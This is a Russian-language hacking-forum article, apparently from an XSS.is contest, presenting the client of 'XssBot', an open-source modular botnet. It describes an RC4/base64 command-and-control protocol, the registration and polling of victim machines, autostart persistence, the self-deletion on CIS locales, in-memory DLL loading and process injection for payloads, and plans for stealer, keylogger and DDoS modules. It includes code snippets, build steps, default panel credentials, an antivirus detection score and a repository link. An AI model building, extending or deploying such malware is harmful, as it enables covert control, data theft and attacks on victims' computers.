

Всем привет !

*Локер — супер ! Локер — класс ! А кто не согласен, тот ни***..*

Блин, что-то понесло меня куда-то не туда, но это так, что-бы взбодрить спонсора.)

Итак для конкурса статей решили совместно с [Jeffs](#) реализовать интересный OpenSource проект, который будет выложен в гите и по возможности будет поддерживаться, возможно даже не только нами, но и заинтересованными людьми.)

Итак, что-же это за проект:

Решили разработать движок модульного резидентного бота, но так что бы он был оригинальным, основной упор сделали на модульность.

Чем хороша модульность в таких проектах:

- 1)Вы можете разрабатывать новые модули, потом «На лету» подключать их к уже запущенным клиентам, не требуется перезапуска бота, также сам бот не нужно переписывать, пересобирать и т. д.
- 2)Комьюнити могут помогать в написании модулей. А модули могут-быть на любой вкус и цвет:Будь-то модуль ддоса, модуль стилера, кейлоггера, да хоть удаленного управления.

Причем сами модули могут писаться на большинстве современных языках, будь-то C/C++, Go, Python и т. д.

Т.к. модуль в данном решении, это динамически подключаемая DLL, которая грузится из сервера по специально разработанному нами шифрованному протоколу и запускается в ОЗУ, не копируясь на жесткий диск (Об этом ниже).

- 3)Модульность также уменьшает вес клиента, уменьшает детект. Да и вообще проект в итоге можно заточить под определенные задачи.

Например если вам нужен только кейлоггер, или ддос-бот, то вы просто не подключаете в админке другие модули и т. д.

Итак, перейдем к основной части, что вас ждет в этой статье:

Сразу скажу, что статья будет очень-очень большая и разбита на две части:

- 1)**Первая часть** — Будет посвящена клиентской части бота.
- 2)**Вторая часть** — Будет посвящена серверу и админке, админкой полностью занимался [Jeffs](#), самого клиента делали вместе...)

ВТОРУЮ ЧАСТЬ [Jeffs](#) выложит следующей темой, во второй части статьи, будет очень много интересного и вкусного.)

Итак первая часть, начнем с постановки задачи:

Разработать клиента бота, который будет взаимодействовать с серверной частью, серверная часть прослушивает 80 порт нужного хоста.

Взаимодействие должно осуществляться по специальному шифрованному протоколу, **всё взаимодействие с сервером должно-быть зашифровано по этому протоколу:**

Описание протокола шифрования:

Шифрование:

Генерируем ключ длиной 32 символа. Ключ - случайная строка из чисел, букв (в верхнем, нижнем регистре), шифруем нужные нам данные с помощью RC4 - алгоритма, сгенерированным нами ключём.

Зашифрованные данные накрываем base64, ключ пишем в начало base64 строки.

Расшифровка:

Обрезаем первые 32 символа, пишем их в массив. С оставшейся строки снимаем base64, ключём, который мы обрезаем расшифровываем RC4, проверяем, есть ли в строке символ | (в каждом ответе панели будет данный символ).

Если данный символ есть в строке, хэшируем первый элемент получившегося массива, сверяем с заданными хэшами, если хэш совпадает с одним из нужных нам, выполняем задание, иначе высылаем ошибку на сервер.

С описанием протокола шифрования думаю все понятно, теперь описание непосредственного взаимодействия клиента с сервером и как должен работать клиент:

1) После запуска бот проверяет раскладку клавиатуры, если в системе установлены одни из следующих языков — самоудаляется (Ведь мы не работаем по ру, привет админ!): Приведу сразу код реализации этой части (Пора-бы уже разбавить текст):

С:

```
int result = (int)GetUserDefaultLangID();
if ((result == 1049) || // рф
    (result == 106) || // армения
    (result == 1059) || // беларусь
    (result == 1079) || // грузия
    (result == 1087) || // казахстан
    (result == 1064) || // таджикистан
    (result == 2115) || // узбекистан
    (result == 1058)) // украина
{
    DEBUG_TO_FILE("+++ Localization unsupported \r\n");
    //TODO Самоудалится...
    //do_destroy()
}
```

2)Проверяет мьютекс - если такой мьютекс уже существует, процесс завершается, иначе стучит на сервер, высылая POST — запросом следующие данные:

Код:

domain.com/gate/reg/tes=1&data=[Шифрованные по протоколу выше данные]

Описание высылаемых данных:

Код:

BOT_ID|OS|USER_NAME|COMPUTER_NAME|CPU_NAME|GPU_NAME|SCREEN_RESOLUTION|ACTIVE_WINDOWS|

ГДЕ:

BOT_ID — Идентификатор бота.
OS — Версия операционной системы.
USER_NAME — Имя пользователя.
COMPUTER_NAME — Имя компьютера.
CPU_NAME — Тип процессора.
GPU_NAME — Тип графического адаптера.
SCREEN_RESOLUTION — Разрешение экрана.
ACTIVE_WINDOWS — Текущее активное окно.

Пример:

uid123|Win 10.0 2004 x64|user|my-pc|amd ryzen 3200|amd rx8|1024 MB|800x600|VisualStudio|

В случае успешной регистрации, сервер должен ответить «ping|», тогда клиент должен сделать следующие действия:

- 1) Бот копирует себя в папку автозагрузки.
- 2) Далее с интервалом раз в секунду опрашивает сервер, по адресу /gate/ping/, высылая UID| разумеется в шифрованном виде, я не буду больше писать, что все взаимодействие с сервером шифруется, по указанному выше протоколу.

В ответ сервер может отправить:

- «ping» - Нет доступных заданий. Нужно дальше пинговать.

- Задание в след. формате:
task|id|type|command_name|param|

Описание принятых данных:

task - Указывает боту, что нужно выполнить задание.
id — Идентификатор задания.
type — Тип задания.
command_name — Имя команды.
param — Параметры команды.

- Также сервер может прислать «reg|» тогда регистрацию нужно пройти повторно, указанным выше способом.

Если в течении 100 запросов после запуска регистрацию пройти не получилось, бот должен удалиться из системы.

Итак, теперь описания заданий:

Во первых было реализовано логирование ошибок, бот стучит на adminhost/gate/complete/, в data шлёт данные в следующем формате: id таска|uid|нашу кастомную ошибку|ошибку GetLastError().

В случае, если задание выполнено без ошибок (если наша кастомная ошибка = 0), сервер ставит для этого задания зачёт, иначе - ставит заданию ошибку, и в отдельную таблицу пишет id задания, uid бота, ошибку, GetLastError(). Далее все ошибки задания можно

будет посмотреть в отдельном модальном окне в админ-панеле (Об этом во второй части).

Теперь про задания и поведение бота:

Как я уже сказал основной упор был сделан на модульности бота, поэтому у бота есть два типа задания:

1)Статические, это которые бот имеет в коде.

Сразу опишу их:

- «self_destroy» - Как только бот получает эту команду, он должен полностью удалиться из системы.

В данной реализации, пока один статический модуль.
Вернее есть еще один, но о нем ниже.

2)Динамические модули.

Это те модули, которые вы напишете сами, что они из себя представляют:

По сути это длл, как только бот получил команду, вида «filename.dll», это означает, что нужно скачать модуль «filename.dll» по адресу adminhost/getModule/ отправив пост запрос «filename.dll|», далее загрузить длл в памяти, получить указатель на функцию «start_module», ну и выполнить её в текущем процессе.
Важно, что никакого копирования на жесткий диск нет, все происходит в памяти.

Таким образом, для написания модуля, вам нужно реализовать и экспортировать одну функцию:

```
C:
extern "C" __declspec(dllexport)
int start_module(wchar_t* params_module)
```

Вот пример готового модуля, который запускает указанный в параметрах params_module исполняемый файл (В гите это тоже есть):

```
C:
// Функция стартует наш модуль
extern "C" __declspec(dllexport)
int start_module(wchar_t* params_module) {
    API(SHELL32, ShellExecuteW)(0, L"open", (LPWSTR)params_module, NULL, NULL,
    SW_SHOWNORMAL);
    return 0;
}
```

Собираете длл, копируете в папку модулей сервера, в админке делаете задание, в параметрах в админке указываете файл, который нужно запустить, ура ваш код запустился.

Краткая инструкция будет ниже в этой статье.

Также был реализован модуль инжекта нужного исполняемого файла в любой процесс, тоже копируете файл с расширением «exe», который нужно запустить удаленно, в папку

modules на сервере, делаете задание, в параметрах указываете путь файла, в который нужно сделать инжект, например «C:\\Windows\\System32\\calc.exe», при запуске задания, ваш пейлоад запустился...)

Вроде-бы все описал, я не стал вдаваться в технические подробности клиента, т. к. это дело нескольких статей, а статья уже разрослась, я не пишу учебник.)))

К тому-же в данном решении не много кода и он достаточно понятный, **рекомендую вот на что обратить внимание в коде, может что-то новое узнает для себя:**

1) Модуль "ModuleLoader.cpp", это загрузка dll в памяти, по сути это и есть LoadPE, только для dll, более того если в качестве буфера передать EXE, то будет запуск этого EXE. Но с флагом что типом загружена dll и все будет работать.)
Такой интересный скрытый запуск.)))

Вот вкратце алгоритм такой:

- 1) Считываем заголовки из DLL (DOS + PE + SERCTIONS).
- 2) На основании данных в этих заголовках выделяем память под нашу DLL.
- 3) Загружаем все секции и заголовки.
- 4) Обработываем релоки.
- 5) Обработываем таблицу импорта.
- 6) Передаем управление на точку входа в DLL с флагом указывающим что мы подгружаем DLL.
- 7) Т.к. система ничего не знает о нашей DLL, то придется самому получать адреса функций из таблицы экспорта.
- 8) Получаем вручную адрес функции и используем её.
- 9) Уведомляем DLL и том, что мы её выгружаем.
- 10) Освобождаем память.

С виду кажется что очень много необходимо сделать, хотя на практике это всё занимает строчек 300 на си.

2) Также в боте реализована работа с сетью, скрытие API и еще много-много вкуностей, думаю кому-то будет полезно.

Описание проекта в гите:

В гите в решении два проекта:

- 1) Bot — Это сорцы самого бота.
- 2) RunExeShellexecute — Это сорцы тестового модуля, описанного выше.

Ниже будет еще инструкция.

Инструкция как пользоваться ботом:

- 1) В файле «/XSS_BOT/Bot/BotConfig.h»

Заменить на нужный айпи адрес строчку:

C:

```
#define ADMIN_PATH "127.0.0.1"
```

2)Если не нужно логирование в файл (Это нужно для дебага), то в файле:«/XSS_BOT/Bot/Debug_to_file.h»

Отключите макрос:

C:

```
#define DEBUG_TO_FILE(...)
```

Достаточно сделать его пустым.

3)Собрать проект.

4)Залить админку на сервер и запустить сервер. Как собрать админку и что она в себе представляет, это во второй части от [Jeffs](#).


Тут просто инструкция, краткая.

Также во второй части, полная инструкция как работать с админ-панелью и как установить админ-сервер и запустить его.


5)После запуска админ сервера, перейти по указанному адресу <http://localhost/>
Вместо «[localhost](#)» - ваш адрес, разумеется.

Будет такое приглашение:

Login | XssBot

 login

XSS.is

 password

login

Вводите root/toog и попадаете в главную странице панели, если есть активные боты, то будет что-то такое:

| Bot list | | | | | | | | | | | |
|----------|------------------------|------------------|--------------|------|----------|---|------------------------------------|------|-----------|--------|---------|
| ID | UID | IP | Win | User | Comp | CPU | GPU | RAM | Display | Joined | Status |
| 4 | 125B538269A61388941053 | 127.0.0.1 UNK | Win 6.1.7601 | Oleg | OLEG-IIK | Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz | VirtualBox Graphics Adapter (WDDM) | 2047 | 1855x1015 | 4h ago | Offline |

6)Копируете нужные модули в папку \backend\modules на сервере, в гите два файла там:

TestPayload.exe — Файл, который необходимо инжектить в указанный в параметрах задания процесс.

ModuleRunExeShellexecute.dll — Динамический модуль, для примера как писать свои модули, данный модуль запустит исполняемый файл, указанный в параметрах задания.

Ну и последнее как создавать задания:

1)Переходим на вкладку «tasks», создаем задание, кнопка «Create Task»:

Create task

×

Select type

run_module

▼

Module

ModuleRunExeShellexec

▼

Param

dows\\System32\\calc.exe

UIDs

Runs limit

—

1




















+

Cancel

Submit

Выбираем тип задания, нужный модуль, вводим параметры модуля, нажимаем «Submit» и стартуем задание.

Все, если задание клиент выполнил, будет что-то типо такого лога:

| Task list | | | | | | | | | | |
|-----------|--------------|---------------------------|------------------------------|------|-------|-------|------|---|---------|---|
| ID | Type | Module | Param | UIDs | Limit | Loads | Runs | Errors | Status | Actions |
| 42 | self_destroy | TestPayload.exe | C:\Windows\System32\calc.exe | | 1 | 1 | 1 | 0 | Enabled | H   |
| 41 | run_module | TestPayload.exe | C:\Windows\System32\calc.exe | | 1 | 1 | 1 | 0 | Enabled | H   |
| 40 | run_module | ModuleRunExeShellcode.dll | C:\Windows\System32\calc.exe | | 1 | 1 | 1 | 0 | Enabled | H   |
| 39 | self_destroy | TestPayload.exe | C:\Windows\System32\calc.exe | | 1 | 1 | 1 | 0 | Enabled | H   |
| 38 | run_module | TestPayload.exe | C:\Windows\System32\calc.exe | | 1 | 1 | 1 | 0 | Enabled | H   |
| 37 | run_module | TestPayload.exe | C:\Windows\System32\calc.exe | | 1 | 1 | 1 | 0 | Enabled | H   |
| 36 | run_module | ModuleRunExeShellcode.dll | C:\Windows\System32\calc.exe | | 1 | 1 | 1 | 0 | Enabled | H   |
| 35 | run_module | ModuleRunExeShellcode.dll | C:\Windows\System32\calc.exe | | 1 | 1 | 1 | 0 | Enabled | H   |
| 34 | run_module | ModuleRunExeShellcode.dll | C:\Windows\System32\calc.exe | | 1 | 1 | 0 |  | Enabled | H   |

В целом все интуитивно понятно.

Думаю любой сможет понять как работать.

Но более подробно в следующей части...

Напоследок динамический детект бота на

запуск: <https://www.dyncheck.com/scan/id/3d0d0fde46d1ebf38fc4d0902f2d5d7a>

5 из 23 из-за того-что битдефендер детектит как Gen:Variant.Razy.249878.

Ссылка на гитхаб: <https://github.com/XShar/XssBot>

Я на этом прощаюсь с вами.

Также вас ожидает невероятно интересная и увлекательная статья от [Jeffs](#).)))

Перед её прочтением рекомендую запостись попкорном, расслабиться и посмотреть эти ролики:

https://www.youtube.com/watch?v=NuKREeAnm1s&feature=emb_logo

https://www.youtube.com/watch?v=ZOGwFTKvUpA&feature=emb_logo

https://www.youtube.com/watch?v=xb824iT5YO&feature=emb_logo